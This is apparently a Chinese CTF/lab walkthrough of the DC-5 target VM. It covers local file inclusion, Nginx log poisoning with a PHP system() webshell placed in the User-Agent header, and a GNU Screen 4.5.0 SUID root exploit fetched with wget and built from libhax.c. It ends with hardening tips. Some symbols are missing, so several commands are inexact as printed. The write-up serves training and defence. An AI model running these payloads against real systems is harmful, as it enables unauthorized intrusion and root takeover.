DC-5靶机渗透复盘:我是如何从Nginx日志里拿到Shell的?
DC-5靶机渗透实战从异常时间戳到Root权限的完整攻击链剖析去年在某个深夜的CTF训练中我遇到了DC-5这个看似简单却暗藏玄机的靶机。整个渗透过程最令人难忘的是那个不断变化的页脚时间戳——这个微小细节最终成为了突破防线的关键入口。本文将完整还原我当时如何通过Nginx日志文件包含获取初始立足点再结合GNU Screen提权的完整思考路径。1. 信息收集阶段的蛛丝马迹当我的nmap扫描结果显示目标仅开放80端口时这个看似简单的Web应用立即引起了我的警觉。经验告诉我单一服务往往意味着更深的攻击面需要挖掘。使用Wappalyzer插件快速识别出Web服务器Nginx 1.6.2未使用常见CMS框架前端包含基础留言板功能在常规目录扫描中dirsearch发现了几个关键文件/thankyou.php (留言提交确认页) /footer.php (动态页脚文件)异常现象捕捉每次提交留言后页脚显示的时间戳都会更新。更奇怪的是直接访问footer.php时时间戳仍会随刷新变化——这明显不符合静态包含文件的特征。提示时间戳异常变化可能暗示着动态文件处理常见于未正确过滤的包含操作2. 文件包含漏洞的发现与验证基于时间戳的异常行为我立即尝试了经典的文件包含测试http://192.168.1.8/thankyou.php?file../../../../etc/passwd当/etc/passwd文件内容成功回显时确认存在本地文件包含(LFI)漏洞。但更值得关注的是服务器返回的报错信息[error] 1234#0: *5678 open() /var/www/html/../../../../etc/passwd failed这条Nginx错误日志透露了两个关键信息绝对路径泄露/var/www/html错误日志位置/var/log/nginx/error.log3. 利用Nginx日志写入Webshell传统文件包含通常需要上传点配合但这个靶机的突破点在于Nginx的日志记录特性。以下是具体操作步骤Burp Suite拦截正常请求POST /submit.php HTTP/1.1 Host: 192.168.1.8 Content-Type: application/x-www-form-urlencoded nametestmessage?php system($_GET[cmd]);?修改User-Agent注入PHP代码User-Agent: ?php system($_GET[cmd]);?通过LFI执行日志中的代码http://192.168.1.8/thankyou.php?file/var/log/nginx/access.logcmdid为什么选择access.log而非error.log日志类型记录内容适用场景access.log完整HTTP请求适合注入完整PHP代码error.log错误片段适合短payload4. 权限提升GNU Screen 4.5.0漏洞利用获取webshell后通过常规信息收集发现具有SUID权限的screen-4.5.0find / -perm -us -type f 2/dev/null漏洞利用分步指南下载漏洞利用代码wget https://www.exploit-db.com/download/41154 -O exploit.sh分解脚本为三个部分// libhax.c - 编译为动态库 #include stdio.h #include sys/types.h #include unistd.h __attribute__ ((__constructor__)) void dropshell(void){ chown(/tmp/rootshell, 0, 0); chmod(/tmp/rootshell, 04755); unlink(/etc/ld.so.preload); }编译并上传组件gcc -fPIC -shared -ldl -o libhax.so libhax.c gcc -o rootshell rootshell.c执行提权cd /tmp ./dc5.sh5. 防御方案与加固建议针对文件包含漏洞在Nginx配置中添加路径限制location ~* \.php$ { fastcgi_param DOCUMENT_ROOT $document_root; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; }针对日志注入修改Nginx日志格式过滤特殊字符log_format sanitized $remote_addr - $http_user_agent;针对SUID提权定期审计SUID文件find / -perm -4000 -exec ls -ld {} \;这次渗透最深刻的教训是看似无害的日志文件可能成为攻击跳板。现在我在自己的服务器上都会将日志目录设置为不可执行并且定期检查异常日志条目。